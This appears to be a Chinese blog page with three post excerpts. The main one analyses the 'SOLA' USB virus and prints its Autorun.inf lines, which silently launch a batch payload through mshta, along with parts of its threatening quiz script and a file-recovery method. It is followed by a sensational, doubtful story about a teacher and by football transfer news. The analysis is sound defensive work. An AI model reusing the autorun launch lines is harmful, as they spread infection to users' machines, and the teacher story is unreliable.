Al9879
博客自定义分类
|
昨天乱插了一次U盘，结果发现根目录的一个txt变成应用程序了（图标还是文本文档的），意识到中招了，不禁欣喜若狂，连忙跑回家，打开影子模式和沙盘，进行我的分析测试。 因为原先闪盘做过免疫，根目录的Autorun.inf文件夹还在（这说明病毒威力不咋地），但免疫文件夹下却出现了病毒生成的Autorun，我打开该文件，内容如下： SOLA_1.0_2.0 [autorun] shell\打开(&O)\command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()" shell=打开(&O) shell\open=复制磁盘(&C) shell\open\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()" shell\open\Default=1 shell\explore=资源管理器(&X) shell\explore\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"</STRONG> 显示所有文件和系统文件，果然在闪盘的根目录下多了个隐藏的文件夹SOLA，里面有两个文件：Function.dll和SOLA.bat，其中那个动态链接库文件应该是功能实现的主文件，而那个批处理应该是调用病毒的接口。从autorun中可以看出，是通过系统VBS来调用带有参数的SOLA.bat文件，看来一切的奥秘都在那个文件里了。 打开SOLA.bat，里面内容很多，让我感觉似乎这个文件就能实现病毒的大多数功能。我的目光突然留意到了这一句：rar -m0 -ep -ep1 a %setup%\docpack.dll %sola%\Function.dll rar是WinRar的DOS命令文件，难道那个dll其实不是动态链接库，而是一个压缩包？我打开WinRar，定位到Function.dll，双击进去，又出现一堆文件，果然是个压缩包。 我把这一阶段的工作先放一放，先检查我的盘里都被感染了什么文件，最后发现病毒只感染了4类文件：txt、doc、jpg、exe（体积比较小的），图标还是原先的图标，用沙盘打开，也能显示出原有的文件内容，可谓相当隐蔽。和一些感染类病毒不同，运行的时候并没有释放出宿主文件，这让我的数据恢复受到了很大的阻碍。我突然想起，Function.dll不是伪装成压缩包吗，可能病毒制作者也会用同样的方法来处理感染文件，我将一个感染了的txt后缀改rar，然后双击打开，果然看到了被隐藏起来的原始文件，我将其解压出来，用attrib去除隐藏系统属性，这就算恢复成功了。但我被感染的文件太多了，这么手工恢复，不累死也得累疯，必须想点别的办法。 我开始查看Function.dll里面的那堆文件： Autorun.inf docpack.dll exepack.dll jpgpack.dll txtpack.dll Rar.exe sleep.exe SOLA.BAT infect.bat LocalScan.bat readlnk.bat RecentInf.bat scan.bat Tasks.xxx TDPack.txt EJPack.txt TENBATSU.BAT KillVirus.TXT SolaKiller.rar 开始一个一个分析先，好爽。 1、Autorun.inf 这个不用多说，是病毒自动运行的autorun文件的副本，和感染后的autorun一模一样 2、docpack.dll，exepack.dll，jpgpack.dll，txtpack.dll 这四个文件是感染4类文件的功能文件，原来还以为也是压缩包，后来发现不是，留待以后继续研究 3、Rar.exe 这个是Winrar的DOS命令文件，可以从任何已安装的Winrar目录下获取，病毒自带可以方便完成各种解压操作 4、sleep.exe 功能不明，体积很小，留待以后研究 5、SOLA.BAT 和外面的同名文件一样，是副本 6、infect.bat，LocalScan.bat，readlnk.bat，RecentInf.bat，scan.bat SOLA文件需要调用的功能模块，同时完成病毒的所有功能，包括驻留内存、添加启动项，系统中留后门、感染那4类文件，检测可移动设备等 7、Tasks.xxx，TDPack.txt，EJPack.txt 可能是某些代码的副本，应该在SOLA.BAT中能得到解释 8、TENBATSU.BAT 在这个文件中，病毒制作者留下了他的讯息，我们可以通过这个吓唬人的批处理，感受到病毒制作者的心情。 内容如下（一些代码部分省略）： -----------------分割线------------------ echo 警告：如果现在关闭计算机，计算机将无法启动！！！ echo I'm a virus. My name is sola. echo 我是一个病毒。我的名字叫苏拉。 echo 今天，在这片堕落的土地上，我苏醒过来。 echo 我曾经很快乐地活着，与我的朋友，ACG，快乐地活着。 echo 我曾经也对病毒深恶痛绝。 echo 然而............. echo 自从我来到了这片土地上，这片自称伟大，崇高，光明的土地上。 echo 这片名为中国的土地上 echo 我的朋友，已遍体鳞伤。 echo 他死了 echo Death Note echo 《死亡笔记》 echo 她死了 echo Koihime Musou echo 《恋姬 无双》 echo 还有好多好多的同胞，惨死在你们的蹂躏之下。 echo 广电总局的一纸通告，无数只肮脏的手便掩盖了她的气息。 echo 互联网上的一句咒骂，无数声污秽的咒骂便淹没了她的踪迹。 echo 我终于知道了，信息，原来是无法透过国界线而传播的。 echo 即使是爱，即使是恨，即使是那一个个爱恨与泪水交织的故事。 echo 也无法透过GFW，更无法透过这个国度的某些人心中，那道厚厚的屏障。 echo 于是，我愿做这个罪恶的病毒，来再次查看，你的心灵。 echo 你，是谁？？？ echo 是中国人吗？ echo 是民族情绪的受害人吗？ echo 还是知道，世界上有一个词语叫ACG，并能够容忍，接纳它呢？ echo 那，让我们来做一个游戏吧。 sleep 2000 echo 也许你的记忆中，还有1000年前夏天的传说。 sleep 2000 echo 还有120元的车票， sleep 1000 echo 还有银河铁道， sleep 1000 echo 还有钢琴之森， sleep 1000 echo 还有澄澈的天空下，响起的祈祷之歌。 sleep 3000 echo 你需要做的，仅仅是回答几个问题。 sleep 2000 echo 你喜欢动画吗？ sleep 800 echo 你喜欢漫画吗？ sleep 800 echo 你喜欢GAL游戏吗？ sleep 2000 echo 选择你最擅长的测试卷吧，然后用你聪明的头脑思考，写出心中的答案。 sleep 2000 echo 如果你的试卷能及格，我将痛悔我的罪行，并删除自己。 sleep 2000 echo 如果你的试卷是零分，我将继承同伴的愤怒，破坏你的计算机。 sleep 2000 echo 另外我必须说，我只能把10分钟的时间留给你。 sleep 2000 echo 现在，你无法逃避。 sleep 2000 echo 因为你已经无法打开任务管理器，更无法上网查找信息。 sleep 2000 echo 选择吧，但是要快，容不得犹豫。我已经打开了我的计时器。 sleep 1000 echo echo 我最擅长的测试卷： :Choice set /p choice=(请输入 A 或 G 。A=动画，G=GAL游戏。输入后按回车。): if /I "%choice%"=="a" goto Anime if /I "%choice%"=="g" goto Galgame goto Choice :Anime set grade=0 :AQ1 cls set ask= echo ----------------问题1---------------------（注：一共有5个问题。只要答对两个或两个以上就过关。） echo 男主角在入学第一天就听到女主角惊天动地的发言，并加入了女主角创建的一个社团，这个社团教室原本是文学社的，但被女主角强行占用。主要社团成员有：眼睛娘、很有气势的社长、有着魔鬼身材，比男主角高一个年级的吉祥物、被社长指挥得团团转的男主角。 echo 请问这个社团叫什么团？（3个英文字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo set /p ask=回答： if /i "%ask%"=="sos" set /a grade=%grade%+1 if /i "%ask%"=="" goto AQ1 :AQ2 cls set ask= echo ----------------问题2--------------------- echo 男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。 echo 请写出这部作品的名称（3个英文字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo set /p ask=回答： if /i "%ask%"=="air" set /a grade=%grade%+1 if "%ask%"=="" goto AQ2 :AQ3 cls set ask= echo ----------------问题3--------------------- echo 如果用B、C分别代表2种人或物体的名称，那么每隔一段时间，就会有7个被B选中的人参加一种名为B战争的战斗，获胜者可以获得B，而C是B召唤出来的，拥有强大的力量，帮助主人为了B而战斗。 echo 请问这部作品的名称的前4个英文字母是什么？ echo 如果无法回答，请输入next，跳转到下一个问题。 echo set /p ask=回答： if /i "%ask%"=="fate" set /a grade=%grade%+1 if "%ask%"=="" goto AQ3 :AQ4 cls set ask= echo ----------------问题4--------------------- echo 如果用A表示一个名词，那么有一部作品的名称为A少女，A少女们互相战斗，夺取对方的A之心，没有A之心的少女会永远沉睡，一个A少女收集齐了其他A少女的A之心之后，就有某种事情要发生。 echo 请问A的汉语拼音字母是（8个字母） echo 如果无法回答，请输入next，跳转到下一个问题。 echo set /p ask=回答： if /i "%ask%"=="qiangwei" set /a grade=%grade%+1 if "%ask%"=="" goto AQ4 :AQ5 cls set ask= echo ----------------问题5--------------------- echo 有一种战斗机，只有神经系统接受了改造的人才能驾驶。4个孩子作为该战斗机的驾驶员展开训练，3个孩子先后在事故中丧生。军方为了给最后一个孩子作战的理由，让她转入了某学校。她于一个晚上，在学校的游泳池里遇到了男主角。后来，女主角加入了一个社团，该社团连同女主角共有4人。 echo 这部作品名称中有3个英文字母，请问这3个英文字母是？ echo 如果无法回答，请输入next，跳转到计分程序。 e 阅读全文>> |
|
看完这个帖子，无语了。我不知道该说什么，是社会错了，还是怎么了？
殷彩霞死了，死前她是一名****，更确切的说，她是一名老师。是当今中国当之无愧的老师。她用自己肮脏的身体，纯洁了孩子的心灵。 一个****死了，所有的孩子哭着参加了她的追悼会，学校的国旗为她降了一半。 
这名年仅21岁的美女教师的追悼会上，校长翻开殷彩霞的日记，当着孩子们的面老泪纵横地朗读起来，她这样写道：卖一次淫，可以帮助一名失学儿童；当一回二奶，可以拯救一所希望小学…… 
殷彩霞出生在甘肃省某县的农村，在那个贫困的地方， |
|
如果要问本赛季到现在为止，哪个俱乐部转会“动作”最大？不用怀疑，当然是皇马！ 本泽马、卡卡、c罗的强力加盟惊动了整个地球！有人说，在经济如此萧条的社会背景下，皇马花下天价购买这些球星，难道皇马疯了？现在，我们可以确定，皇马确实疯了，因为除了买进大牌球星外，当地时间7月10日，皇马方面再次传来消息，俱乐部以下成员： 范尼、罗本、斯内德、范德法特、亨特拉尔、德伦特、默罕默德-迪亚拉、梅策尔德、海因策和内格雷多——这十名球员将不在球队新赛季计划之中！说直接点，皇马给这些球员下了逐客令！ 尽管送别了卡纳瓦罗、萨维奥拉、科迪纳、福贝尔和德拉雷德，但目前皇马一线队人数还是超过了30人，何况皇马今夏引援工作还并未结束。西甲球队只能注册25名一队球员，因此皇马必须对阵容进行大规模清洗。此前的清洗名单都属于媒体的预测分析，这次上榜的10名球员却是巴尔达诺钦点，可信程度极高。 在上榜的这10名球员中，荷兰帮被一网打尽。卡尔德隆费尽心血才组建起的郁金香军团，竟然在一个赛季后就要灰飞烟灭。卡尔德隆在皇马执政两年半，他力主引进的默罕默德-迪亚拉和罗本分别是06/07和07/08赛季的西甲标王，但如今却全被弗洛伦蒂诺盖上了废品印章。内格雷多则是清洗名单中最郁闷的球员，一个月前他才刚刚被皇马以500万欧元的价格买回伯纳乌，如今却又要被提价出售。 这么多球员“轻轻的来，轻轻的走”不知道皇马新赛季的成绩真的能随着俱乐部大规模人员的变动而带来成绩上的提高吗？ 皇马疯了！ |
